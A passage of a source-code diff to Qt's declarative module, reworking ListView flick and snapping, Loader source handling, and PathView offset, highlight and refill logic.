a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -562,7 +562,7 @@ void QDeclarativeListViewPrivate::releaseItem(FxListItem *item) return; if (trackedItem == item) { const char *notifier1 = orient == QDeclarativeListView::Vertical ? SIGNAL(yChanged()) : SIGNAL(xChanged()); - const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged(qreal)) : SIGNAL(widthChanged(qreal)); + const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged()) : SIGNAL(widthChanged()); QObject::disconnect(trackedItem->item, notifier1, q, SLOT(trackedPositionChanged())); QObject::disconnect(trackedItem->item, notifier2, q, SLOT(trackedPositionChanged())); trackedItem = 0; @@ -763,7 +763,7 @@ void QDeclarativeListViewPrivate::updateTrackedItem() FxListItem *oldTracked = trackedItem; const char *notifier1 = orient == QDeclarativeListView::Vertical ? SIGNAL(yChanged()) : SIGNAL(xChanged()); - const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged(qreal)) : SIGNAL(widthChanged(qreal)); + const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged()) : SIGNAL(widthChanged()); if (trackedItem && item != trackedItem) { QObject::disconnect(trackedItem->item, notifier1, q, SLOT(trackedPositionChanged())); @@ -1136,28 +1136,32 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; - // -ve velocity means list is moving up + qreal maxDistance = 0; + // -ve velocity means list is moving up/left if (velocity > 0) { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = firstVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = firstVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = nextVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = nextVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { // These modes require the list to stop exactly on an item boundary. // The initial flick will estimate the boundary to stop on. // Since list items can have variable sizes, the boundary will be @@ -1173,8 +1177,7 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m // the initial flick - estimate boundary qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + averageSize/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + averageSize/4; if (v > 0) @@ -1328,7 +1331,7 @@ QDeclarativeListView::~QDeclarativeListView() id: wrapper SequentialAnimation on ListView.onRemove { PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: false } } } @@ -1488,8 +1491,9 @@ void QDeclarativeListView::setCurrentIndex(int index) d->moveReason = QDeclarativeListViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -2063,9 +2067,10 @@ qreal QDeclarativeListView::maxYExtent() const if (d->orient == QDeclarativeListView::Horizontal) return height(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - height() + 1); if (d->footer) d->maxExtent -= d->footer->size(); @@ -2100,9 +2105,10 @@ qreal QDeclarativeListView::maxXExtent() const if (d->orient == QDeclarativeListView::Vertical) return width(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - width() + 1); if (d->footer) d->maxExtent -= d->footer->size(); @@ -2361,11 +2367,19 @@ void QDeclarativeListView::trackedPositionChanged() void QDeclarativeListView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); d->moveReason = QDeclarativeListViewPrivate::Other; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -2495,6 +2509,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) void QDeclarativeListView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->moveReason = QDeclarativeListViewPrivate::Other; d->updateUnrequestedIndexes(); @@ -2593,6 +2609,8 @@ void QDeclarativeListView::destroyRemoved() void QDeclarativeListView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); if (d->visibleItems.isEmpty()) { diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 3cbafd6..0d62afa 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -41,7 +41,9 @@ #include "qdeclarativeloader_p_p.h" +#include <qdeclarativeinfo.h> #include <qdeclarativeengine_p.h> +#include <qdeclarativeglobal_p.h> QT_BEGIN_NAMESPACE @@ -185,9 +187,6 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) - return; - d->clear(); d->source = url; @@ -299,9 +298,9 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } if (obj) { - ctxt->setParent(obj); item = qobject_cast<QGraphicsObject *>(obj); if (item) { + QDeclarative_setParent_noEvent(ctxt, obj); if (QDeclarativeItem* qmlItem = qobject_cast<QDeclarativeItem *>(item)) { qmlItem->setParentItem(q); } else { @@ -310,8 +309,14 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() } // item->setFocus(true); initResize(); + } else { + qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements."); + delete obj; + delete ctxt; } } else { + if (!component->errors().isEmpty()) + qWarning() << component->errors(); delete obj; delete ctxt; source = QUrl(); diff --git a/src/declarative/graphicsitems/qdeclarativepainteditem.cpp b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp index 28a93d2..ab6007a 100644 --- a/src/declarative/graphicsitems/qdeclarativepainteditem.cpp +++ b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp @@ -211,8 +211,8 @@ QDeclarativePaintedItem::~QDeclarativePaintedItem() */ void QDeclarativePaintedItem::init() { - connect(this,SIGNAL(widthChanged(qreal)),this,SLOT(clearCache())); - connect(this,SIGNAL(heightChanged(qreal)),this,SLOT(clearCache())); + connect(this,SIGNAL(widthChanged()),this,SLOT(clearCache())); + connect(this,SIGNAL(heightChanged()),this,SLOT(clearCache())); connect(this,SIGNAL(visibleChanged()),this,SLOT(clearCache())); } diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index b9c8971..f3d6137 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -138,6 +138,103 @@ void QDeclarativePathViewPrivate::clear() items.clear(); } +void QDeclarativePathViewPrivate::updateMappedRange() +{ + if (model && pathItems != -1 && pathItems < model->count()) + mappedRange = qreal(pathItems)/model->count(); + else + mappedRange = 1.0; +} + +qreal QDeclarativePathViewPrivate::positionOfIndex(int index) const +{ + qreal pos = -1.0; + + if (model && index >= 0 && index < model->count()) { + qreal globalPos = qreal(index) + offset; + globalPos = qmlMod(globalPos, qreal(model->count())) / model->count(); + if (pathItems != -1 && pathItems < model->count()) { + globalPos += snapPos * mappedRange; + globalPos = qmlMod(globalPos, 1.0); + if (globalPos < mappedRange) + pos = globalPos / mappedRange; + } else { + pos = qmlMod(globalPos + snapPos, 1.0); + } + } + + return pos; +} + +void QDeclarativePathViewPrivate::createHighlight() +{ + Q_Q(QDeclarativePathView); + bool changed = false; + if (highlightItem) { + delete highlightItem; + highlightItem = 0; + changed = true; + } + + QDeclarativeItem *item = 0; + if (highlightComponent) { + QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); + QObject *nobj = highlightComponent->create(highlightContext); + if (nobj) { + highlightContext->setParent(nobj); + item = qobject_cast<QDeclarativeItem *>(nobj); + if (!item) + delete nobj; + } else { + delete highlightContext; + } + } else { + item = new QDeclarativeItem; + } + if (item) { + item->setParent(q); + highlightItem = item; + changed = true; + } + if (changed) + emit q->highlightItemChanged(); +} + +void QDeclarativePathViewPrivate::updateHighlight() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + if (highlightItem) + updateItem(highlightItem, snapPos); +} + +void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) +{ + if (QDeclarativePathViewAttached *att = attached(item)) { + foreach(const QString &attr, path->attributes()) + att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); + } + QPointF pf = path->pointAt(percent); + item->setX(pf.x() - item->width()*item->scale()/2); + item->setY(pf.y() - item->height()*item->scale()/2); +} + +void QDeclarativePathViewPrivate::regenerate() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + + clear(); + + if (!isValid()) + return; + + firstIndex = -1; + updateMappedRange(); + q->refill(); +} /*! \qmlclass PathView QDeclarativePathView @@ -232,6 +329,7 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); disconnect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); for (int i=0; i<d->items.count(); i++){ @@ -261,13 +359,16 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); connect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); } - d->firstIndex = 0; - d->pathOffset = 0; + d->offset = qmlMod(d->offset, qreal(d->model->count())); + if (d->offset < 0) + d->offset = d->model->count() + d->offset; d->regenerate(); d->fixOffset(); + emit countChanged(); emit modelChanged(); } @@ -330,7 +431,7 @@ void QDeclarativePathView::setCurrentIndex(int idx) if (d->model->count()) { int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); if (itemIndex < d->items.count()) { - if (QDeclarativeItem *item = d->items.at(d->currentIndex)) { + if (QDeclarativeItem *item = d->items.at(itemIndex)) { if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(false); } @@ -354,12 +455,13 @@ void QDeclarativePathView::setCurrentIndex(int idx) /*! \qmlproperty real PathView::offset - The offset specifies how far along the path (0.0-1.0) the items are from their initial positions. + The offset specifies how far along the path the items are from their initial positions. + This is a real number that ranges from 0.0 to the count of items in the model. */ qreal QDeclarativePathView::offset() const { Q_D(const QDeclarativePathView); - return d->_offset; + return d->offset; } void QDeclarativePathView::setOffset(qreal offset) @@ -372,18 +474,25 @@ void QDeclarativePathView::setOffset(qreal offset) void QDeclarativePathViewPrivate::setOffset(qreal o) { Q_Q(QDeclarativePathView); - if (_offset != o) { - _offset = qmlMod(o, qreal(1.0)); - if (_offset < 0) - _offset = 1.0 + _offset; - q->refill(); + if (offset != o) { + if (isValid() && q->isComponentComplete()) { + offset = qmlMod(o, qreal(model->count())); + if (offset < 0) + offset = model->count() + offset; + q->refill(); + } else { + offset = o; + } + emit q->offsetChanged(); } } /*! \qmlproperty real PathView::snapPosition - This property determines the position (0.0-1.0) the nearest item will snap to. + This property determines the position on the path (0.0-1.0) the nearest item will snap to. + The item nearest this position will set currentIndex, for example when offset is 0.0 the + first item will be placed at this position and currentIndex will be 0. */ qreal QDeclarativePathView::snapPosition() const { @@ -398,10 +507,34 @@ void QDeclarativePathView::setSnapPosition(qreal pos) if (qFuzzyCompare(normalizedPos, d->snapPos)) return; d->snapPos = normalizedPos; + d->updateHighlight(); d->fixOffset(); emit snapPositionChanged(); } +QDeclarativeComponent *QDeclarativePathView::highlight() const +{ + Q_D(const QDeclarativePathView); + return d->highlightComponent; +} + +void QDeclarativePathView::setHighlight(QDeclarativeComponent *highlight) +{ + Q_D(QDeclarativePathView); + if (highlight != d->highlightComponent) { + d->highlightComponent = highlight; + d->createHighlight(); + d->updateHighlight(); + emit highlightChanged(); + } +} + +QDeclarativeItem *QDeclarativePathView::highlightItem() +{ + Q_D(const QDeclarativePathView); + return d->highlightItem; +} + /*! \qmlproperty real PathView::dragMargin This property holds the maximum distance from the path that initiate mouse dragging. @@ -426,6 +559,52 @@ void QDeclarativePathView::setDragMargin(qreal dragMargin) } /*! + \qmlproperty real PathView::flickDeceleration + This property holds the rate at which a flick will decelerate. + + The default is 100. +*/ +qreal QDeclarativePathView::flickDeceleration() const +{ + Q_D(const QDeclarativePathView); + return d->deceleration; +} + +void QDeclarativePathView::setFlickDeceleration(qreal dec) +{ + Q_D(QDeclarativePathView); + if (d->deceleration == dec) + return; + d->deceleration = dec; + emit flickDecelerationChanged(); +} + +/*! + \qmlproperty bool PathView::interactive + + A user cannot drag or flick a PathView that is not interactive. + + This property is useful for temporarily disabling flicking. This allows + special interaction with PathView's children. +*/ +bool QDeclarativePathView::isInteractive() const +{ + Q_D(const QDeclarativePathView); + return d->interactive; +} + +void QDeclarativePathView::setInteractive(bool interactive) +{ + Q_D(QDeclarativePathView); + if (interactive != d->interactive) { + d->interactive = interactive; + if (!interactive) + d->tl.clear(); + emit interactiveChanged(); + } +} + +/*! \qmlproperty component PathView::delegate The delegate provides a template defining each item instantiated by the view. @@ -467,7 +646,7 @@ void QDeclarativePathView::setDelegate(QDeclarativeComponent *delegate) /*! \qmlproperty int PathView::pathItemCount - This property holds the number of items visible on the path at any one time + This property holds the number of items visible on the path at any one time. */ int QDeclarativePathView::pathItemCount() const { @@ -480,9 +659,13 @@ void QDeclarativePathView::setPathItemCount(int i) Q_D(QDeclarativePathView); if (i == d->pathItems) return; + if (i < 1) + i = 1; d->pathItems = i; - d->regenerate(); - pathItemCountChanged(); + if (d->isValid() && isComponentComplete()) { + d->regenerate(); + } + emit pathItemCountChanged(); } QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *nearPercent) const @@ -512,7 +695,7 @@ QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *near void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (!d->items.count()) + if (!d->interactive || !d->items.count()) return; QPointF scenePoint = mapToScene(event->pos()); int idx = 0; @@ -542,7 +725,7 @@ void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + if (!d->interactive || d->lastPosTime.isNull()) return; if (!d->stealMouse) { @@ -555,14 +738,14 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) d->moveReason = QDeclarativePathViewPrivate::Mouse; qreal newPc; d->pointNear(event->pos(), &newPc); - qreal diff = newPc - d->startPc; + qreal diff = (newPc - d->startPc)*d->model->count()*d->mappedRange; if (diff) { - setOffset(d->_offset + diff); + setOffset(d->offset + diff); - if (diff > 0.5) - diff -= 1.0; - else if (diff < -0.5) - diff += 1.0; + if (diff > d->model->count()/2) + diff -= d->model->count(); + else if (diff < -d->model->count()/2) + diff += d->model->count(); d->lastElapsed = QDeclarativeItemPrivate::restart(d->lastPosTime); d->lastDist = diff; @@ -574,27 +757,37 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + d->stealMouse = false; + setKeepMouseGrab(false); + if (!d->interactive || d->lastPosTime.isNull()) return; qreal elapsed = qreal(d->lastElapsed + QDeclarativeItemPrivate::elapsed(d->lastPosTime)) / 1000.; qreal velocity = elapsed > 0. ? d->lastDist / elapsed : 0; - if (d->model && d->model->count() && qAbs(velocity) > 0.05) { - if (velocity > 1.5) - velocity = 1.5; - else if (velocity < -1.5) - velocity = -1.5; - qreal inc = qmlMod(d->_offset - d->snapPos, qreal(1.0 / d->model->count())); - qreal dist = qAbs(velocity/2 - qmlMod(velocity/2, qreal(1.0 / d->model->count()) - inc)); - d->moveOffset.setValue(d->_offset); - d->tl.accel(d->moveOffset, velocity, 0.1, dist); + if (d->model && d->model->count() && qAbs(velocity) > 1.) { + qreal count = d->pathItems == -1 ? d->model->count() : d->pathItems; + if (qAbs(velocity) > count * 2) // limit velocity + velocity = (velocity > 0 ? count : -count) * 2; + // Calculate the distance to be travelled + qreal v2 = velocity*velocity; + qreal accel = d->deceleration; + // + 0.25 to encourage moving at least one item in the flick direction + qreal dist = qMin(qreal(d->model->count()-1), d->model->count() * v2 / (accel * 2.0) + 0.25); + // round to nearest item. + if (velocity > 0.) + dist = qRound(dist + d->offset) - d->offset; + else + dist = qRound(dist - d->offset) + d->offset; + // Calculate accel required to stop on item boundary + accel = v2 / (2.0f * qAbs(dist)); + d->moveOffset.setValue(d->offset); + d->tl.accel(d->moveOffset, velocity, accel, dist); d->tl.callback(QDeclarativeTimeLineCallback(&d->moveOffset, d->fixOffsetCallback, d)); } else { d->fixOffset(); } d->lastPosTime = QTime(); - d->stealMouse = false; ungrabMouse(); } @@ -644,7 +837,8 @@ bool QDeclarativePathView::sendMouseEvent(QGraphicsSceneMouseEvent *event) bool QDeclarativePathView::sceneEventFilter(QGraphicsItem *i, QEvent *e) { - if (!isVisible()) + Q_D(QDeclarativePathView); + if (!isVisible() || !d->interactive) return QDeclarativeItem::sceneEventFilter(i, e); switch (e->type()) { @@ -669,72 +863,7 @@ void QDeclarativePathView::componentComplete() Q_D(QDeclarativePathView); QDeclarativeItem::componentComplete(); d->regenerate(); - - // move to correct offset - if (d->items.count()) { - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); - - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) { - d->moveOffset.setValue(targetOffset); - } - } -} - -void QDeclarativePathViewPrivate::regenerate() -{ - Q_Q(QDeclarativePathView); - if (!q->isComponentComplete()) - return; - - clear(); - - if (!isValid()) - return; - - if (firstIndex >= model->count()) - firstIndex = model->count()-1; - if (pathOffset >= model->count()) - pathOffset = model->count()-1; - - int numItems = pathItems >= 0 ? pathItems : model->count(); - for (int i=0; i < numItems && i < model->count(); ++i){ - int index = (i + firstIndex) % model->count(); - QDeclarativeItem *item = getItem(index); - if (!item) { - qWarning() << "PathView: Cannot create item, index" << (i + firstIndex) % model->count(); - return; - } - items.append(item); - item->setZValue(i); - qreal percent = qreal(i) / numItems + _offset; - percent = qAbs(qmlMod(percent, qreal(1.0))); - updateItem(item, percent); - model->completeItem(); - if (currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = attached(item)) - att->setIsCurrentItem(true); - } - } - if (pathItems != -1) - q->refill(); -} - -void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) -{ - if (QDeclarativePathViewAttached *att = attached(item)) { - foreach(const QString &attr, path->attributes()) - att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); - } - QPointF pf = path->pointAt(percent); - item->setX(pf.x() - item->width()*item->scale()/2); - item->setY(pf.y() - item->height()*item->scale()/2); + d->updateHighlight(); } void QDeclarativePathView::refill() @@ -743,81 +872,85 @@ void QDeclarativePathView::refill() if (!d->isValid() || !isComponentComplete()) return; - QList<qreal> positions; - for (int i=0; i<d->items.count(); i++){ - qreal percent = qreal(i) / d->items.count(); - percent = percent + d->_offset; - percent = qmlMod(percent, qreal(1.0)); - positions << qAbs(percent); - } - - if (d->pathItems==-1) { - for (int i=0; i<positions.count(); i++) - d->updateItem(d->items.at(i), positions[i]); - return; +// qDebug() << "offset" << d->_offset; + + // first move existing items and remove items off path + int idx = d->firstIndex; + QList<QDeclarativeItem*>::iterator it = d->items.begin(); + while (it != d->items.end()) { + qreal pos = d->positionOfIndex(idx); + QDeclarativeItem *item = *it; + if (pos >= 0.0) { + d->updateItem(item, pos); + ++it; + } else { +// qDebug() << "release"; + d->updateItem(item, 1.0); + d->releaseItem(item); + if (it == d->items.begin()) { + if (++d->firstIndex >= d->model->count()) + d->firstIndex = 0; + } + it = d->items.erase(it); + } + ++idx; + if (idx >= d->model->count()) + idx = 0; } - QList<qreal> rotatedPositions; - for (int i=0; i<d->items.count(); i++) - rotatedPositions << positions[(i + d->pathOffset + d->items.count()) % d->items.count()]; - - int wrapIndex= -1; - for (int i=0; i<d->items.count()-1; i++) { - if (rotatedPositions[i] > rotatedPositions[i+1]){ - wrapIndex = i; - break; + // add items to beginning and end + int count = d->pathItems == -1 ? d->model->count() : qMin(d->pathItems, d->model->count()); + if (d->items.count() < count) { + int idx = qRound(d->model->count() - d->offset) % d->model->count(); + qreal startPos = d->snapPos; + if (d->firstIndex >= 0) { + startPos = d->positionOfIndex(d->firstIndex); + idx = (d->firstIndex + d->items.count()) % d->model->count(); } - } - if (wrapIndex != -1 ){ - //A wraparound has occured - if (wrapIndex < d->items.count()/2){ - while(wrapIndex-- >= 0){ - QDeclarativeItem* p = d->items.takeFirst(); - d->updateItem(p, 0.0); - d->releaseItem(p); - d->firstIndex++; - d->firstIndex %= d->model->count(); - int index = (d->firstIndex + d->items.count())%d->model->count(); - QDeclarativeItem *item = d->getItem(index); - item->setZValue(wrapIndex); - d->model->completeItem(); - if (d->currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items << item; - d->pathOffset++; - d->pathOffset=d->pathOffset % d->items.count(); + qreal pos = d->positionOfIndex(idx); + while ((pos > startPos || !d->items.count()) && d->items.count() < count) { +// qDebug() << "append" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } - } else { - while(wrapIndex++ < d->items.count()-1){ - QDeclarativeItem* p = d->items.takeLast(); - d->updateItem(p, 1.0); - d->releaseItem(p); - d->firstIndex--; - if (d->firstIndex < 0) - d->firstIndex = d->model->count() - 1; - QDeclarativeItem *item = d->getItem(d->firstIndex); - item->setZValue(d->firstIndex); - d->model->completeItem(); - if (d->currentIndex == d->firstIndex) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items.prepend(item); - d->pathOffset--; - if (d->pathOffset < 0) - d->pathOffset = d->items.count() - 1; + if (d->items.count() == 0) + d->firstIndex = idx; + d->items.append(item); + d->updateItem(item, pos); + ++idx; + if (idx >= d->model->count()) + idx = 0; + pos = d->positionOfIndex(idx); + } + + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); + while (pos >= 0.0 && pos < startPos) { +// qDebug() << "prepend" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } + d->items.prepend(item); + d->updateItem(item, pos); + d->firstIndex = idx; + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); } - for (int i=0; i<d->items.count(); i++) - rotatedPositions[i] = positions[(i + d->pathOffset + d->items.count()) - % d->items.count()]; } - for (int i=0; i<d->items.count(); i++) - d->updateItem(d->items.at(i), rotatedPositions[i]); } void QDeclarativePathView::itemsInserted(int modelIndex, int count) @@ -826,29 +959,14 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count; ++i) { - QDeclarativeItem *item = d->getItem(modelIndex + i); - item->setZValue(modelIndex + i); - d->model->completeItem(); - d->items.insert(modelIndex + i, item); - } - refill(); - } else { - //XXX This is pretty heavy handed until we reference count items. - d->regenerate(); - } - // make sure the current item is still at the snap position - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList<QDeclarativeItem *> removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); } void QDeclarativePathView::itemsRemoved(int modelIndex, int count) @@ -857,41 +975,37 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count && d->items.count() > modelIndex; ++i) { - QDeclarativeItem* p = d->items.takeAt(modelIndex); - d->model->release(p); - } - d->snapToCurrent(); - refill(); - } else { - d->regenerate(); - } - if (d->model->count() == 0) { - d->currentIndex = -1; - d->moveOffset.setValue(0); + QList<QDeclarativeItem *> removedItems = d->items; + d->items.clear(); + if (d->offset >= d->model->count()) + d->offset = d->model->count() - 1; + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); +} + +void QDeclarativePathView::itemsMoved(int from, int to, int count) +{ + Q_D(QDeclarativePathView); + if (!d->isValid() || !isComponentComplete()) return; - } - // make sure the current item is still at the snap position - if (d->currentIndex >= d->model->count()) - d->currentIndex = d->model->count() - 1; - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList<QDeclarativeItem *> removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); } void QDeclarativePathView::modelReset() { Q_D(QDeclarativePathView); d->regenerate(); + emit countChanged(); } void QDeclarativePathView::createdItem(int index, QDeclarativeItem *item) @@ -919,36 +1033,10 @@ int QDeclarativePathViewPrivate::calcCurrentIndex() { int current = -1; if (model && items.count()) { - _offset = qmlMod(_offset, qreal(1.0)); - if (_offset < 0) - _offset += 1.0; - - if (pathItems == -1) { - qreal delta = qmlMod(_offset - snapPos, qreal(1.0)); - if (delta < 0) - delta = 1.0 + delta; - int ii = model->count() - qRound(delta * 